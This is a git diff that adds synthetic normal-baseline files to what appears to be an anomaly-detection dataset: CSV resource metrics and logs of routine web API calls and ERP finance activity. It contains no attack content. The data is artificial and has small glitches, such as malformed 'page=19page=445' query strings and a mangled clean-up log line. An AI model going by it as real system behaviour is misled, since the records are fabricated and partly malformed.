+Jul 15 10:04:35 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:04:40 auth-service[2468]: INFO User 19 logged in successfully +Jul 15 10:04:45 auth-service[2468]: INFO User 26 viewed profile page +Jul 15 10:04:50 web-app[1357]: GET /api/v1/user/78 status=200 OK +Jul 15 10:04:55 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:05:00 web-app[1357]: GET /api/v1/inventory/item/4823 status=200 OK +Jul 15 10:05:05 web-app[1357]: GET /api/v1/inventory/item/4254 status=200 OK +Jul 15 10:05:10 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:05:15 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:05:20 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:05:25 systemd[1]: Starting daily backup activities... +Jul 15 10:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:05:35 web-app[1357]: GET /api/v1/inventory/item/2028 status=200 OK +Jul 15 10:05:40 web-app[1357]: GET /api/v1/inventory/item/4900 status=200 OK +Jul 15 10:05:45 web-app[1357]: GET /api/v1/user/79 status=200 OK +Jul 15 10:05:50 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:05:55 systemd[1]: Starting daily backup activities... +Jul 15 10:06:00 web-app[1357]: GET /api/v1/inventory/item/4144 status=200 OK +Jul 15 10:06:05 web-app[1357]: GET /api/v1/user/56 status=200 OK +Jul 15 10:06:10 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:06:15 web-app[1357]: GET /api/v1/user/57 status=200 OK +Jul 15 10:06:20 web-app[1357]: GET /api/v1/user/45 status=200 OK +Jul 15 10:06:25 web-app[1357]: GET /api/v1/user/61 status=200 OK +Jul 15 10:06:30 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:06:35 web-app[1357]: GET /api/v1/inventory/item/3125 status=200 OK +Jul 15 10:06:40 web-app[1357]: POST /api/v1/orders status=201 Created +Jul 15 10:06:45 web-app[1357]: GET /api/v1/user/16 status=200 OK +Jul 15 10:06:50 systemd[1]: Starting daily backup activities... +Jul 15 10:06:55 web-app[1357]: GET /api/v1/inventory/item/2215 status=200 OK +Jul 15 10:07:00 web-app[1357]: GET /api/v1/inventory/item/1713 status=200 OK +Jul 15 10:07:05 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:07:10 web-app[1357]: GET /api/v1/user/53 status=200 OK +Jul 15 10:07:15 systemd[1]: Starting daily backup activities... +Jul 15 10:07:20 web-app[1357]: GET /api/v1/dashboard status=200 OK +Jul 15 10:07:25 web-app[1357]: POST /api/v1/orders status=201 Created diff --git a/norm_dataset/scenario_9/norm_9_8.csv b/norm_dataset/scenario_9/norm_9_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..485d895d35b1bb74367a5beb5149a045556e0d4b --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-06-30T10:00:00Z,26.39085516347303,49.90715222357889,39.91987507581599,1.6741998300432495,1.1044927264552924 +2025-06-30T10:00:05Z,29.530562655955116,47.05371212507016,35.892915889364126,2.6077386005642857,1.265917747092923 +2025-06-30T10:00:10Z,34.24204470116583,53.1805508451675,40.29376201040279,2.0703302297024044,2.094690553194079 +2025-06-30T10:00:15Z,35.41612365115451,55.31446746425151,42.7441537294025,2.2315888111227444,1.5501806689035453 +2025-06-30T10:00:20Z,30.50450239117276,47.82229516805502,37.49214298162731,2.347618000647084,1.8785700744667568 +2025-06-30T10:00:25Z,32.6264338761754,46.58654426914716,45.747337840222315,1.6666738373401302,1.3182363903656842 +2025-06-30T10:00:30Z,30.822331417289124,52.86149749477724,39.961288647653674,1.6922790596628103,2.030163778180012 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+2025-06-30T10:07:15Z,55.34301377847781,76.87384533339046,63.492742338633875,2.257977707345484,1.1794559542028038 +2025-06-30T10:07:20Z,63.70633410655629,73.27094263763696,65.98175800425281,2.525482724434054,1.0612822854624717 +2025-06-30T10:07:25Z,61.14192628136137,78.14827317117556,71.82664343796384,2.2689036692436124,1.1418736043272504 diff --git a/norm_dataset/scenario_9/norm_9_8.log b/norm_dataset/scenario_9/norm_9_8.log new file mode 100644 index 0000000000000000000000000000000000000000..a71e67b434ce3032c7204628be80d86a92926fbb --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_8.log @@ -0,0 +1,59 @@ +Jun 30 10:00:10 erp-system[1500]: INFO User user_3 accessing module: 'Account Reconciliation'. Session: session_4 +Jun 30 10:00:20 erp-system[1500]: INFO Approval received for financial statement. Approver: 'finance_manager_1'. DocumentID: doc_5575. +Jun 30 10:00:35 erp-system[1500]: INFO User user_7 accessing module: 'Account Reconciliation'. Session: session_10 +Jun 30 10:00:50 erp-system[1500]: INFO User user_14 is viewing the '月末结算' dashboard. Session: session_2 +Jun 30 10:01:10 erp-system[1500]: INFO User user_7 downloaded financial '报表'. ReportID: rpt_458. Session: session_28 +Jun 30 10:01:20 erp-system[1500]: INFO User user_20 accessing module: 'Account Reconciliation'. Session: session_21 +Jun 30 10:01:30 erp-system[1500]: INFO User user_3 is viewing the '月末结算' dashboard. Session: session_5 +Jun 30 10:01:35 erp-system[1500]: INFO User user_14 initiated financial report generation. ReportType: 'Monthly Balance Sheet'. Session: session_7 +Jun 30 10:01:45 erp-system[1500]: INFO User user_6 initiated financial report generation. ReportType: 'Monthly Balance Sheet'. Session: session_11 +Jun 30 10:01:50 erp-system[1500]: INFO User user_1 is viewing the '月末结算' dashboard. Session: session_29 +Jun 30 10:02:05 erp-system[1500]: INFO User user_12 initiated financial report generation. ReportType: 'Monthly Balance Sheet'. Session: session_3 +Jun 30 10:02:15 erp-system[1500]: DEBUG System health check OK. DB connections: 75/100. +Jun 30 10:02:55 erp-system[1500]: INFO User user_5 downloaded financial '报表'. ReportID: rpt_483. Session: session_29 +Jun 30 10:03:00 erp-system[1500]: INFO User user_8 submitted batch settlement for approval. BatchID: batch_1144. Session: session_23 +Jun 30 10:03:05 erp-system[1500]: INFO User user_6 initiated financial report generation. ReportType: 'Monthly Balance Sheet'. Session: session_17 +Jun 30 10:03:10 erp-system[1500]: INFO User user_19 downloaded financial '报表'. ReportID: rpt_343. Session: session_5 +Jun 30 10:03:15 erp-system[1500]: INFO User user_10 submitted batch settlement for approval. BatchID: batch_1593. Session: session_27 +Jun 30 10:03:20 erp-system[1500]: DEBUG System health check OK. DB connections: 75/100. +Jun 30 10:03:25 erp-system[1500]: INFO Workflow for '月度审批' process started by user_10. WorkflowID: wf_960. Session: session_1 +Jun 30 10:03:30 erp-system[1500]: INFO User user_3 initiated financial report generation. ReportType: 'Monthly Balance Sheet'. Session: session_6 +Jun 30 10:03:35 erp-system[1500]: INFO User user_14 initiated financial report generation. ReportType: 'Monthly Balance Sheet'. Session: session_19 +Jun 30 10:03:40 erp-system[1500]: INFO User user_11 submitted batch settlement for approval. BatchID: batch_1279. Session: session_22 +Jun 30 10:04:00 erp-system[1500]: INFO Approval received for financial statement. Approver: 'finance_manager_1'. DocumentID: doc_5250. +Jun 30 10:04:05 erp-system[1500]: DEBUG System health check OK. DB connections: 75/100. +Jun 30 10:04:10 erp-system[1500]: INFO User user_9 initiated financial report generation. ReportType: 'Monthly Balance Sheet'. Session: session_8 +Jun 30 10:04:15 erp-system[1500]: INFO User user_13 initiated financial report generation. ReportType: 'Monthly Balance Sheet'. Session: session_29 +Jun 30 10:04:20 erp-system[1500]: INFO User user_3 downloaded financial '报表'. ReportID: rpt_319. Session: session_26 +Jun 30 10:04:25 erp-system[1500]: INFO Approval received for financial statement. Approver: 'finance_manager_1'. DocumentID: doc_5734. +Jun 30 10:04:30 erp-system[1500]: DEBUG System health check OK. DB connections: 75/100. +Jun 30 10:04:35 erp-system[1500]: INFO User user_14 initiated financial report generation. ReportType: 'Monthly Balance Sheet'. Session: session_15 +Jun 30 10:04:40 erp-system[1500]: INFO Workflow for '月度审批' process started by user_18. WorkflowID: wf_941. Session: session_22 +Jun 30 10:04:45 erp-system[1500]: INFO User user_8 downloaded financial '报表'. ReportID: rpt_452. Session: session_24 +Jun 30 10:04:50 erp-system[1500]: INFO Workflow for '月度审批' process started by user_5. WorkflowID: wf_930. Session: session_16 +Jun 30 10:04:55 erp-system[1500]: DEBUG System health check OK. DB connections: 75/100. +Jun 30 10:05:00 erp-system[1500]: INFO User user_17 accessing module: 'Account Reconciliation'. Session: session_26 +Jun 30 10:05:05 erp-system[1500]: INFO Approval received for financial statement. Approver: 'finance_manager_1'. DocumentID: doc_5636. +Jun 30 10:05:10 erp-system[1500]: INFO User user_4 accessing module: 'Account Reconciliation'. Session: session_10 +Jun 30 10:05:15 erp-system[1500]: INFO Approval received for financial statement. Approver: 'finance_manager_1'. DocumentID: doc_5615. +Jun 30 10:05:35 erp-system[1500]: INFO User user_3 accessing module: 'Account Reconciliation'. Session: session_20 +Jun 30 10:05:40 erp-system[1500]: DEBUG System health check OK. DB connections: 75/100. +Jun 30 10:05:45 erp-system[1500]: INFO User user_1 submitted batch settlement for approval. BatchID: batch_1536. Session: session_30 +Jun 30 10:05:50 erp-system[1500]: DEBUG System health check OK. DB connections: 75/100. +Jun 30 10:05:55 erp-system[1500]: INFO User user_10 is viewing the '月末结算' dashboard. Session: session_16 +Jun 30 10:06:00 erp-system[1500]: DEBUG System health check OK. DB connections: 75/100. +Jun 30 10:06:05 erp-system[1500]: INFO Approval received for financial statement. Approver: 'finance_manager_1'. DocumentID: doc_5531. +Jun 30 10:06:10 erp-system[1500]: DEBUG System health check OK. DB connections: 75/100. +Jun 30 10:06:25 erp-system[1500]: INFO Workflow for '月度审批' process started by user_20. WorkflowID: wf_963. Session: session_29 +Jun 30 10:06:30 erp-system[1500]: INFO User user_20 accessing module: 'Account Reconciliation'. Session: session_1 +Jun 30 10:06:35 erp-system[1500]: INFO User user_10 initiated financial report generation. ReportType: 'Monthly Balance Sheet'. Session: session_12 +Jun 30 10:06:40 erp-system[1500]: INFO User user_1 accessing module: 'Account Reconciliation'. Session: session_11 +Jun 30 10:06:45 erp-system[1500]: INFO Workflow for '月度审批' process started by user_2. WorkflowID: wf_930. Session: session_6 +Jun 30 10:06:50 erp-system[1500]: INFO User user_17 downloaded financial '报表'. ReportID: rpt_411. Session: session_25 +Jun 30 10:06:55 erp-system[1500]: INFO Workflow for '月度审批' process started by user_18. WorkflowID: wf_986. Session: session_27 +Jun 30 10:07:00 erp-system[1500]: DEBUG System health check OK. DB connections: 75/100. +Jun 30 10:07:05 erp-system[1500]: INFO User user_10 downloaded financial '报表'. ReportID: rpt_385. Session: session_8 +Jun 30 10:07:10 erp-system[1500]: INFO User user_13 accessing module: 'Account Reconciliation'. Session: session_10 +Jun 30 10:07:15 erp-system[1500]: INFO User user_16 accessing module: 'Account Reconciliation'. Session: session_30 +Jun 30 10:07:20 erp-system[1500]: INFO User user_12 accessing module: 'Account Reconciliation'. Session: session_26 +Jun 30 10:07:25 erp-system[1500]: INFO Workflow for '月度审批' process started by user_10. WorkflowID: wf_953. Session: session_23 diff --git a/norm_dataset/scenario_9/norm_9_9.csv b/norm_dataset/scenario_9/norm_9_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..efc152f707d16db8f4bb5342e589e4b07fc44596 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,16.35,38.19,26.37,1.11,1.0 +2025-07-15T10:00:05Z,12.97,36.23,15.72,1.19,1.04 +2025-07-15T10:00:10Z,12.19,37.17,18.53,1.1,0.95 +2025-07-15T10:00:15Z,15.88,38.96,19.16,0.9,0.86 +2025-07-15T10:00:20Z,18.04,38.04,28.23,0.75,0.82 +2025-07-15T10:00:25Z,8.24,28.89,22.97,0.99,0.81 +2025-07-15T10:00:30Z,12.75,34.81,23.57,1.12,1.15 +2025-07-15T10:00:35Z,15.03,31.56,15.3,1.35,1.03 +2025-07-15T10:00:40Z,15.72,36.03,15.38,1.0,0.86 +2025-07-15T10:00:45Z,16.61,32.04,26.68,0.97,0.87 +2025-07-15T10:00:50Z,17.4,34.06,21.32,1.05,1.05 +2025-07-15T10:00:55Z,11.9,33.94,23.79,0.94,0.91 +2025-07-15T10:01:00Z,15.98,36.45,16.68,1.05,1.18 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+2025-07-15T10:06:05Z,17.85,35.4,19.0,1.15,1.02 +2025-07-15T10:06:10Z,13.37,36.97,20.75,0.83,0.85 +2025-07-15T10:06:15Z,18.65,37.58,20.27,0.81,1.11 +2025-07-15T10:06:20Z,16.97,32.3,19.26,0.62,0.89 +2025-07-15T10:06:25Z,15.22,38.77,15.63,0.91,0.97 +2025-07-15T10:06:30Z,15.56,36.35,17.87,0.78,1.12 +2025-07-15T10:06:35Z,13.93,36.66,17.39,0.8,1.07 +2025-07-15T10:06:40Z,13.19,35.21,24.55,1.18,0.86 +2025-07-15T10:06:45Z,12.62,35.97,10.0,1.02,0.83 +2025-07-15T10:06:50Z,11.83,34.83,20.42,1.13,1.18 +2025-07-15T10:06:55Z,17.55,30.84,14.77,0.8,1.0 +2025-07-15T10:07:00Z,11.3,39.93,17.32,1.01,0.78 +2025-07-15T10:07:05Z,18.55,32.26,19.31,0.85,0.95 +2025-07-15T10:07:10Z,12.2,35.82,23.65,1.2,0.71 +2025-07-15T10:07:15Z,14.57,35.24,18.86,0.74,0.87 +2025-07-15T10:07:20Z,15.83,36.02,15.76,0.88,0.8 +2025-07-15T10:07:25Z,12.4,34.68,21.95,0.86,0.93 diff --git a/norm_dataset/scenario_9/norm_9_9.log b/norm_dataset/scenario_9/norm_9_9.log new file mode 100644 index 0000000000000000000000000000000000000000..8181e396c8f540ca2052a3158d4a7a667e221348 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_9.log @@ -0,0 +1,68 @@ +Jul 15 10:00:00 web-app[1491]: POST /api/v1/orders/draft status=201 Created +Jul 15 10:00:15 web-app[1108]: POST /api/v1/orders/draft status=201 Created +Jul 15 10:00:20 web-app[1260]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:00:30 web-app[1430]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:00:35 web-app[1912]: POST /api/v1/orders/draft status=201 Created +Jul 15 10:00:40 web-app[1506]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:00:45 web-app[1571]: GET /api/v1/products/list?page=19page=445 status=200 OK +Jul 15 10:00:50 web-app[1311]: GET /api/v1/customers/467 status=200 OK +Jul 15 10:00:55 web-app[1897]: GET /api/v1/products/list?page=7page=466 status=200 OK +Jul 15 10:01:00 web-app[1973]: POST /api/v1/orders/draft status=201 Created +Jul 15 10:01:15 web-app[1560]: GET /api/v1/customers/259 status=200 OK +Jul 15 10:01:20 web-app[1791]: GET /api/v1/customers/195 status=200 OK +Jul 15 10:01:30 web-app[1753]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:01:35 web-app[1388]: GET /api/v1/products/list?page=11page=439 status=200 OK +Jul 15 10:01:40 web-app[1633]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:01:45 web-app[1239]: GET /api/v1/users/423 status=200 OK +Jul 15 10:01:50 web-app[1559]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:01:55 web-app[1871]: GET /api/v1/customers/113 status=200 OK +Jul 15 10:02:05 web-app[1729]: GET /api/v1/customers/62 status=200 OK +Jul 15 10:02:10 web-app[1082]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:02:15 web-app[1532]: GET /api/v1/customers/391 status=200 OK +Jul 15 10:02:30 web-app[1433]: GET /api/v1/customers/402 status=200 OK +Jul 15 10:02:35 web-app[1986]: GET /api/v1/products/list?page=18page=12 status=200 OK +Jul 15 10:02:40 web-app[1338]: GET /api/v1/products/list?page=14page=300 status=200 OK +Jul 15 10:02:45 web-app[1286]: GET /api/v1/products/list?page=4page=310 status=200 OK +Jul 15 10:02:50 web-app[1343]: GET /api/v1/users/314 status=200 OK +Jul 15 10:02:55 web-app[1412]: GET /api/v1/users/418 status=200 OK +Jul 15 10:03:00 web-app[1058]: GET /api/v1/products/list?page=9page=231 status=200 OK +Jul 15 10:03:05 web-app[1619]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:03:15 web-app[1267]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:03:20 systemd[1]: Starting daily clean up activities7363 +Jul 15 10:03:25 web-app[1993]: GET /api/v1/users/51 status=200 OK +Jul 15 10:03:40 web-app[1069]: POST /api/v1/orders/draft status=201 Created +Jul 15 10:03:45 web-app[1134]: GET /api/v1/products/list?page=19page=169 status=200 OK +Jul 15 10:04:05 web-app[1347]: GET /api/v1/users/416 status=200 OK +Jul 15 10:04:10 web-app[1423]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:04:20 web-app[1161]: GET /api/v1/users/453 status=200 OK +Jul 15 10:04:25 web-app[1336]: POST /api/v1/orders/draft status=201 Created +Jul 15 10:04:35 CRON[7385]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:04:40 web-app[1065]: GET /api/v1/products/list?page=13page=450 status=200 OK +Jul 15 10:04:55 web-app[1508]: GET /api/v1/users/92 status=200 OK +Jul 15 10:05:05 web-app[1988]: GET /api/v1/users/294 status=200 OK +Jul 15 10:05:10 web-app[1497]: GET /api/v1/customers/241 status=200 OK +Jul 15 10:05:15 web-app[1736]: GET /api/v1/products/list?page=2page=235 status=200 OK +Jul 15 10:05:20 web-app[1531]: GET /api/v1/customers/260 status=200 OK +Jul 15 10:05:25 web-app[1266]: GET /api/v1/users/383 status=200 OK +Jul 15 10:05:30 web-app[1468]: GET /api/v1/customers/85 status=200 OK +Jul 15 10:05:35 web-app[1740]: GET /api/v1/users/291 status=200 OK +Jul 15 10:05:40 web-app[1231]: GET /api/v1/users/422 status=200 OK +Jul 15 10:05:45 web-app[1389]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:05:50 web-app[1089]: GET /api/v1/users/78 status=200 OK +Jul 15 10:05:55 web-app[1653]: GET /api/v1/customers/446 status=200 OK +Jul 15 10:06:00 web-app[1755]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:06:05 web-app[1347]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:06:10 web-app[1102]: GET /api/v1/customers/167 status=200 OK +Jul 15 10:06:15 web-app[1825]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:06:20 web-app[1078]: GET /api/v1/products/list?page=3page=169 status=200 OK +Jul 15 10:06:25 web-app[1524]: GET /api/v1/users/178 status=200 OK +Jul 15 10:06:30 web-app[1246]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:06:35 web-app[1469]: GET /api/v1/users/128 status=200 OK +Jul 15 10:06:40 web-app[1690]: GET /api/v1/products/list?page=3page=326 status=200 OK +Jul 15 10:06:45 web-app[1892]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:07:00 web-app[1088]: GET /api/v1/customers/455 status=200 OK +Jul 15 10:07:05 web-app[1083]: GET /api/v1/products/list?page=6page=252 status=200 OK +Jul 15 10:07:10 web-app[1790]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:07:15 web-app[1457]: GET /api/v1/customers/292 status=200 OK +Jul 15 10:07:20 web-app[1624]: POST /api/v1/inventory/check status=200 OK +Jul 15 10:07:25 web-app[1923]: POST /api/v1/inventory/check status=200 OK